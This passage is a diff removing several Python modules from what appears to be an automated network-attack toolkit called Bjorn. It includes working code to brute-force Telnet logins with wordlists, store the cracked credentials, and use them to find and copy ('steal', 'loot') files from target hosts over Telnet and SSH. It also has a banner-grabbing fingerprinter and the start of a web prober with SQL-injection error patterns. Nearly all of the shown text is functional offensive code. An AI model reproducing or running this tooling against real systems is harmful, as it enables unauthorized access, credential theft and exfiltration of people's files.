||||
self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))}
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted during download.")
|
||||
break
|
||||
self.steal_file(ssh, remote, base_dir)
|
||||
|
||||
logger.success(f"Successfully stole {len(files)} files from {ip}:{port_i} as {username}")
|
||||
success_any = True
|
||||
|
||||
try:
|
||||
ssh.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if success_any:
|
||||
break # one successful cred is enough
|
||||
|
||||
except Exception as e:
|
||||
# Stay quiet on Paramiko internals; just log the reason and try next cred
|
||||
logger.error(f"SSH loot attempt failed on {ip} with {username}: {e}")
|
||||
|
||||
return 'success' if success_any else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
finally:
|
||||
if timer:
|
||||
timer.cancel()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Minimal smoke test if run standalone (not used in production; orchestrator calls execute()).
|
||||
try:
|
||||
sd = SharedData()
|
||||
action = StealFilesSSH(sd)
|
||||
# Example (replace with a real IP that has creds in DB):
|
||||
# result = action.execute("192.168.1.10", "22", {"MAC Address": "AA:BB:CC:DD:EE:FF"}, b_status)
|
||||
# print("Result:", result)
|
||||
except Exception as e:
|
||||
logger.error(f"Error in main execution: {e}")
|
||||
@@ -1,233 +0,0 @@
|
||||
"""steal_files_telnet.py - Loot files over Telnet using cracked credentials."""
|
||||
|
||||
import os
|
||||
import telnetlib
|
||||
import logging
|
||||
import time
|
||||
from threading import Timer
|
||||
from typing import List, Tuple, Dict, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="steal_files_telnet.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "StealFilesTelnet"
|
||||
b_module = "steal_files_telnet"
|
||||
b_status = "steal_files_telnet"
|
||||
b_parent = "TelnetBruteforce"
|
||||
b_port = 23
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_service = '["telnet"]'
|
||||
b_trigger = 'on_any:["on_cred_found:telnet","on_service:telnet"]'
|
||||
b_requires = '{"all":[{"has_cred":"telnet"},{"has_port":23}]}'
|
||||
b_priority = 60
|
||||
b_cooldown = 3600
|
||||
b_timeout = 600
|
||||
b_stealth_level = 5
|
||||
b_risk_level = "high"
|
||||
b_max_retries = 1
|
||||
b_tags = ["exfil", "telnet", "loot", "files"]
|
||||
b_category = "exfiltration"
|
||||
b_name = "Steal Files Telnet"
|
||||
b_description = "Loot files over Telnet using cracked credentials."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "StealFilesTelnet.png"
|
||||
|
||||
|
||||
class StealFilesTelnet:
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self.telnet_connected = False
|
||||
self.stop_execution = False
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
logger.info("StealFilesTelnet initialized")
|
||||
|
||||
# -------- Identity cache --------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# -------- Creds --------
|
||||
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str]]:
|
||||
mac = self.mac_for_ip(ip)
|
||||
params = {"ip": ip, "port": port, "mac": mac or ""}
|
||||
|
||||
by_ip = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password"
|
||||
FROM creds
|
||||
WHERE service='telnet'
|
||||
AND COALESCE(ip,'')=:ip
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
by_mac = []
|
||||
if mac:
|
||||
by_mac = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password"
|
||||
FROM creds
|
||||
WHERE service='telnet'
|
||||
AND COALESCE(mac_address,'')=:mac
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
seen, out = set(), []
|
||||
for row in (by_ip + by_mac):
|
||||
u = str(row.get("user") or "").strip()
|
||||
p = str(row.get("password") or "").strip()
|
||||
if not u or (u, p) in seen:
|
||||
continue
|
||||
seen.add((u, p))
|
||||
out.append((u, p))
|
||||
return out
|
||||
|
||||
# -------- Telnet helpers --------
|
||||
def connect_telnet(self, ip: str, username: str, password: str) -> Optional[telnetlib.Telnet]:
|
||||
try:
|
||||
tn = telnetlib.Telnet(ip, b_port, timeout=10)
|
||||
tn.read_until(b"login: ", timeout=5)
|
||||
tn.write(username.encode('ascii') + b"\n")
|
||||
if password:
|
||||
tn.read_until(b"Password: ", timeout=5)
|
||||
tn.write(password.encode('ascii') + b"\n")
|
||||
# Naive prompt detection (matches original behavior)
|
||||
time.sleep(2)
|
||||
self.telnet_connected = True
|
||||
logger.info(f"Connected to {ip} via Telnet as {username}")
|
||||
return tn
|
||||
except Exception as e:
|
||||
logger.error(f"Telnet connect error {ip} {username}: {e}")
|
||||
return None
|
||||
|
||||
def find_files(self, tn: telnetlib.Telnet, dir_path: str) -> List[str]:
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
tn.write(f'find {dir_path} -type f\n'.encode('ascii'))
|
||||
out = tn.read_until(b"$", timeout=10).decode('ascii', errors='ignore')
|
||||
files = out.splitlines()
|
||||
matches = []
|
||||
for f in files:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
return []
|
||||
fname = os.path.basename(f.strip())
|
||||
if (self.shared_data.steal_file_extensions and any(fname.endswith(ext) for ext in self.shared_data.steal_file_extensions)) or \
|
||||
(self.shared_data.steal_file_names and any(sn in fname for sn in self.shared_data.steal_file_names)):
|
||||
matches.append(f.strip())
|
||||
logger.info(f"Found {len(matches)} matching files under {dir_path}")
|
||||
return matches
|
||||
except Exception as e:
|
||||
logger.error(f"Telnet find error: {e}")
|
||||
return []
|
||||
|
||||
def steal_file(self, tn: telnetlib.Telnet, remote_file: str, base_dir: str) -> None:
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("Steal interrupted.")
|
||||
return
|
||||
local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
|
||||
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
|
||||
with open(local_file_path, 'wb') as f:
|
||||
tn.write(f'cat {remote_file}\n'.encode('ascii'))
|
||||
f.write(tn.read_until(b"$", timeout=10))
|
||||
logger.success(f"Downloaded {remote_file} -> {local_file_path}")
|
||||
except Exception as e:
|
||||
logger.error(f"Telnet download error {remote_file}: {e}")
|
||||
|
||||
# -------- Orchestrator entry --------
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
try:
|
||||
self.shared_data.bjorn_orch_status = "StealFilesTelnet"
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"}
|
||||
try:
|
||||
port_i = int(port)
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
creds = self._get_creds_for_target(ip, port_i)
|
||||
logger.info(f"Found {len(creds)} Telnet credentials in DB for {ip}")
|
||||
if not creds:
|
||||
logger.error(f"No Telnet credentials for {ip}. Skipping.")
|
||||
return 'failed'
|
||||
|
||||
def _timeout():
|
||||
if not self.telnet_connected:
|
||||
logger.error(f"No Telnet connection within 4 minutes for {ip}. Failing.")
|
||||
self.stop_execution = True
|
||||
|
||||
timer = Timer(240, _timeout)
|
||||
timer.start()
|
||||
|
||||
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
|
||||
base_dir = os.path.join(self.shared_data.data_stolen_dir, f"telnet/{mac}_{ip}")
|
||||
|
||||
success = False
|
||||
for username, password in creds:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
try:
|
||||
tn = self.connect_telnet(ip, username, password)
|
||||
if not tn:
|
||||
continue
|
||||
files = self.find_files(tn, '/')
|
||||
if files:
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
self.steal_file(tn, remote, base_dir)
|
||||
logger.success(f"Stole {len(files)} files from {ip} as {username}")
|
||||
success = True
|
||||
try:
|
||||
tn.close()
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
except Exception as e:
|
||||
logger.error(f"Telnet loot error {ip} {username}: {e}")
|
||||
|
||||
timer.cancel()
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
@@ -1,296 +0,0 @@
|
||||
"""telnet_bruteforce.py - Threaded Telnet credential bruteforcer."""
|
||||
|
||||
import os
|
||||
import telnetlib
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="telnet_bruteforce.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "TelnetBruteforce"
|
||||
b_module = "telnet_bruteforce"
|
||||
b_status = "brute_force_telnet"
|
||||
b_port = 23
|
||||
b_parent = None
|
||||
b_service = '["telnet"]'
|
||||
b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]'
|
||||
b_priority = 70
|
||||
b_cooldown = 1800 # 30 min between runs
|
||||
b_rate_limit = '3/86400' # max 3 per day
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_timeout = 600
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 3
|
||||
b_risk_level = "medium"
|
||||
b_tags = ["bruteforce", "telnet", "credentials"]
|
||||
b_category = "exploitation"
|
||||
b_name = "Telnet Bruteforce"
|
||||
b_description = "Threaded Telnet credential bruteforcer with prompt detection."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "TelnetBruteforce.png"
|
||||
|
||||
class TelnetBruteforce:
|
||||
"""Orchestrator wrapper for TelnetConnector."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.telnet_bruteforce = TelnetConnector(shared_data)
|
||||
logger.info("TelnetConnector initialized.")
|
||||
|
||||
def bruteforce_telnet(self, ip, port):
|
||||
"""Run Telnet bruteforce for (ip, port)."""
|
||||
return self.telnet_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||
logger.info(f"Executing TelnetBruteforce on {ip}:{port}")
|
||||
self.shared_data.bjorn_orch_status = "TelnetBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
success, results = self.bruteforce_telnet(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class TelnetConnector:
|
||||
"""Handles Telnet attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Wordlists
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
# Cache IP -> (mac, hostname)
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- file utils ----------
|
||||
@staticmethod
|
||||
def _read_lines(path: str) -> List[str]:
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
return [l.rstrip("\n\r") for l in f if l.strip()]
|
||||
except Exception as e:
|
||||
logger.error(f"Cannot read file {path}: {e}")
|
||||
return []
|
||||
|
||||
# ---------- mapping DB hosts ----------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---------- Telnet ----------
|
||||
def telnet_connect(self, adresse_ip: str, user: str, password: str, port: int = 23, timeout: int = 10) -> bool:
|
||||
timeout = int(getattr(self.shared_data, "telnet_connect_timeout_s", timeout))
|
||||
try:
|
||||
tn = telnetlib.Telnet(adresse_ip, port=port, timeout=timeout)
|
||||
tn.read_until(b"login: ", timeout=5)
|
||||
tn.write(user.encode('ascii') + b"\n")
|
||||
if password:
|
||||
tn.read_until(b"Password: ", timeout=5)
|
||||
tn.write(password.encode('ascii') + b"\n")
|
||||
time.sleep(2)
|
||||
response = tn.expect([b"Login incorrect", b"Password: ", b"$ ", b"# "], timeout=5)
|
||||
try:
|
||||
tn.close()
|
||||
except Exception:
|
||||
pass
|
||||
if response[0] == 2 or response[0] == 3:
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
# ---------- DB upsert fallback ----------
|
||||
def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
|
||||
mac_k = mac or ""
|
||||
ip_k = ip or ""
|
||||
user_k = user or ""
|
||||
db_k = database or ""
|
||||
port_k = int(port or 0)
|
||||
|
||||
try:
|
||||
with self.shared_data.db.transaction(immediate=True):
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
|
||||
VALUES('telnet',?,?,?,?,?,?,?,NULL)
|
||||
""",
|
||||
(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
|
||||
)
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
UPDATE creds
|
||||
SET "password"=?,
|
||||
hostname=COALESCE(?, hostname),
|
||||
last_seen=CURRENT_TIMESTAMP
|
||||
WHERE service='telnet'
|
||||
AND COALESCE(mac_address,'')=?
|
||||
AND COALESCE(ip,'')=?
|
||||
AND COALESCE("user",'')=?
|
||||
AND COALESCE(COALESCE("database",""),'')=?
|
||||
AND COALESCE(port,0)=?
|
||||
""",
|
||||
(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
|
||||
|
||||
# ---------- worker / queue ----------
|
||||
def worker(self, success_flag):
|
||||
"""Worker thread for Telnet bruteforce attempts."""
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||
break
|
||||
|
||||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||
try:
|
||||
if self.telnet_connect(adresse_ip, user, password, port=port):
|
||||
with self.lock:
|
||||
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
if getattr(self.shared_data, "timewait_telnet", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_telnet)
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"Telnet dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
for mac, ip, hostname, user, password, port in self.results:
|
||||
try:
|
||||
self.shared_data.db.insert_cred(
|
||||
service="telnet",
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
database=None,
|
||||
extra=None
|
||||
)
|
||||
except Exception as e:
|
||||
if "ON CONFLICT clause does not match" in str(e):
|
||||
self._fallback_upsert_cred(
|
||||
mac=mac, ip=ip, hostname=hostname, user=user,
|
||||
password=password, port=port, database=None
|
||||
)
|
||||
else:
|
||||
logger.error(f"insert_cred failed for {ip} {user}: {e}")
|
||||
self.results = []
|
||||
|
||||
def removeduplicates(self):
|
||||
"""No longer needed with unique DB index; kept for interface compat."""
|
||||
# Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
sd = SharedData()
|
||||
telnet_bruteforce = TelnetBruteforce(sd)
|
||||
logger.info("Telnet brute force module ready.")
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
@@ -1,192 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""thor_hammer.py - Fast TCP banner grab and service fingerprinting per port."""
|
||||
|
||||
import logging
|
||||
import socket
|
||||
import time
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="thor_hammer.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "ThorHammer"
|
||||
b_module = "thor_hammer"
|
||||
b_status = "ThorHammer"
|
||||
b_port = None
|
||||
b_parent = None
|
||||
b_service = '["ssh","ftp","telnet","http","https","smb","mysql","postgres","mssql","rdp","vnc"]'
|
||||
b_trigger = "on_port_change"
|
||||
b_priority = 35
|
||||
b_action = "normal"
|
||||
b_cooldown = 1200
|
||||
b_rate_limit = "24/86400"
|
||||
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
||||
b_timeout = 300
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 5
|
||||
b_risk_level = "low"
|
||||
b_tags = ["banner", "fingerprint", "service", "tcp"]
|
||||
b_category = "recon"
|
||||
b_name = "Thor Hammer"
|
||||
b_description = "Fast TCP banner grab and service fingerprinting per port."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "ThorHammer.png"
|
||||
|
||||
|
||||
def _guess_service_from_port(port: int) -> str:
|
||||
mapping = {
|
||||
21: "ftp",
|
||||
22: "ssh",
|
||||
23: "telnet",
|
||||
25: "smtp",
|
||||
53: "dns",
|
||||
80: "http",
|
||||
110: "pop3",
|
||||
139: "netbios-ssn",
|
||||
143: "imap",
|
||||
443: "https",
|
||||
445: "smb",
|
||||
1433: "mssql",
|
||||
3306: "mysql",
|
||||
3389: "rdp",
|
||||
5432: "postgres",
|
||||
5900: "vnc",
|
||||
8080: "http",
|
||||
}
|
||||
return mapping.get(int(port), "")
|
||||
|
||||
|
||||
class ThorHammer:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def _connect_and_banner(self, ip: str, port: int, timeout_s: float, max_bytes: int) -> Tuple[bool, str]:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout_s)
|
||||
try:
|
||||
if s.connect_ex((ip, int(port))) != 0:
|
||||
return False, ""
|
||||
try:
|
||||
data = s.recv(max_bytes)
|
||||
banner = (data or b"").decode("utf-8", errors="ignore").strip()
|
||||
except Exception:
|
||||
banner = ""
|
||||
return True, banner
|
||||
finally:
|
||||
try:
|
||||
s.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else None
|
||||
except Exception:
|
||||
port_i = None
|
||||
|
||||
# If port is missing, try to infer from row 'Ports' and fingerprint a few.
|
||||
ports_to_check = []
|
||||
if port_i:
|
||||
ports_to_check = [port_i]
|
||||
else:
|
||||
ports_txt = str(row.get("Ports") or row.get("ports") or "")
|
||||
for p in ports_txt.split(";"):
|
||||
p = p.strip()
|
||||
if p.isdigit():
|
||||
ports_to_check.append(int(p))
|
||||
ports_to_check = ports_to_check[:12] # Pi Zero guard
|
||||
|
||||
if not ports_to_check:
|
||||
return "failed"
|
||||
|
||||
timeout_s = float(getattr(self.shared_data, "thor_connect_timeout_s", 1.5))
|
||||
max_bytes = int(getattr(self.shared_data, "thor_banner_max_bytes", 1024))
|
||||
source = str(getattr(self.shared_data, "thor_source", "thor_hammer"))
|
||||
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
hostname = (row.get("Hostname") or row.get("hostname") or "").strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
|
||||
self.shared_data.bjorn_orch_status = "ThorHammer"
|
||||
self.shared_data.bjorn_status_text2 = ip
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(ports_to_check[0])}
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(ports_to_check))
|
||||
|
||||
try:
|
||||
any_open = False
|
||||
for p in ports_to_check:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
ok, banner = self._connect_and_banner(ip, p, timeout_s=timeout_s, max_bytes=max_bytes)
|
||||
any_open = any_open or ok
|
||||
|
||||
service = _guess_service_from_port(p)
|
||||
product = ""
|
||||
version = ""
|
||||
fingerprint = banner[:200] if banner else ""
|
||||
confidence = 0.4 if ok else 0.1
|
||||
state = "open" if ok else "closed"
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(p),
|
||||
"open": str(int(ok)),
|
||||
"svc": service or "?",
|
||||
}
|
||||
|
||||
# Persist to DB if method exists.
|
||||
try:
|
||||
if hasattr(self.shared_data, "db") and hasattr(self.shared_data.db, "upsert_port_service"):
|
||||
self.shared_data.db.upsert_port_service(
|
||||
mac_address=mac or "",
|
||||
ip=ip,
|
||||
port=int(p),
|
||||
protocol="tcp",
|
||||
state=state,
|
||||
service=service or None,
|
||||
product=product or None,
|
||||
version=version or None,
|
||||
banner=banner or None,
|
||||
fingerprint=fingerprint or None,
|
||||
confidence=float(confidence),
|
||||
source=source,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB upsert_port_service failed for {ip}:{p}: {e}")
|
||||
|
||||
progress.advance(1)
|
||||
|
||||
progress.set_complete()
|
||||
return "success"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
|
||||
# -------------------- Optional CLI (debug/manual) --------------------
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
from shared import SharedData
|
||||
|
||||
parser = argparse.ArgumentParser(description="ThorHammer (service fingerprint)")
|
||||
parser.add_argument("--ip", required=True)
|
||||
parser.add_argument("--port", default="22")
|
||||
args = parser.parse_args()
|
||||
|
||||
sd = SharedData()
|
||||
act = ThorHammer(sd)
|
||||
row = {"MAC Address": sd.get_raspberry_mac() or "__GLOBAL__", "Hostname": "", "Ports": args.port}
|
||||
print(act.execute(args.ip, args.port, row, "ThorHammer"))
|
||||
|
||||
@@ -1,401 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""valkyrie_scout.py - Probe common web paths for auth surfaces, headers, and debug leaks."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import ssl
|
||||
import time
|
||||
from http.client import HTTPConnection, HTTPSConnection, RemoteDisconnected
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="valkyrie_scout.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "ValkyrieScout"
|
||||
b_module = "valkyrie_scout"
|
||||
b_status = "ValkyrieScout"
|
||||
b_port = 80
|
||||
b_parent = None
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = "on_web_service"
|
||||
b_priority = 50
|
||||
b_action = "normal"
|
||||
b_cooldown = 1800
|
||||
b_rate_limit = "8/86400"
|
||||
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
|
||||
b_timeout = 300
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 5
|
||||
b_risk_level = "low"
|
||||
b_tags = ["web", "recon", "auth", "paths"]
|
||||
b_category = "recon"
|
||||
b_name = "Valkyrie Scout"
|
||||
b_description = "Probes common web paths for auth surfaces, headers, and debug leaks."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "ValkyrieScout.png"
|
||||
|
||||
# Small default list to keep the action cheap on Pi Zero.
|
||||
DEFAULT_PATHS = [
|
||||
"/",
|
||||
"/robots.txt",
|
||||
"/login",
|
||||
"/signin",
|
||||
"/auth",
|
||||
"/admin",
|
||||
"/administrator",
|
||||
"/wp-login.php",
|
||||
"/user/login",
|
||||
]
|
||||
|
||||
# Keep patterns minimal and high-signal.
|
||||
SQLI_ERRORS = [
|
||||
"error in your sql syntax",
|
||||
"mysql_fetch",
|
||||
"unclosed quotation mark",
|
||||
"ora-",
|
||||
"postgresql",
|
||||
"sqlite error",
|
||||
]
|
||||
LFI_HINTS = [
|
||||
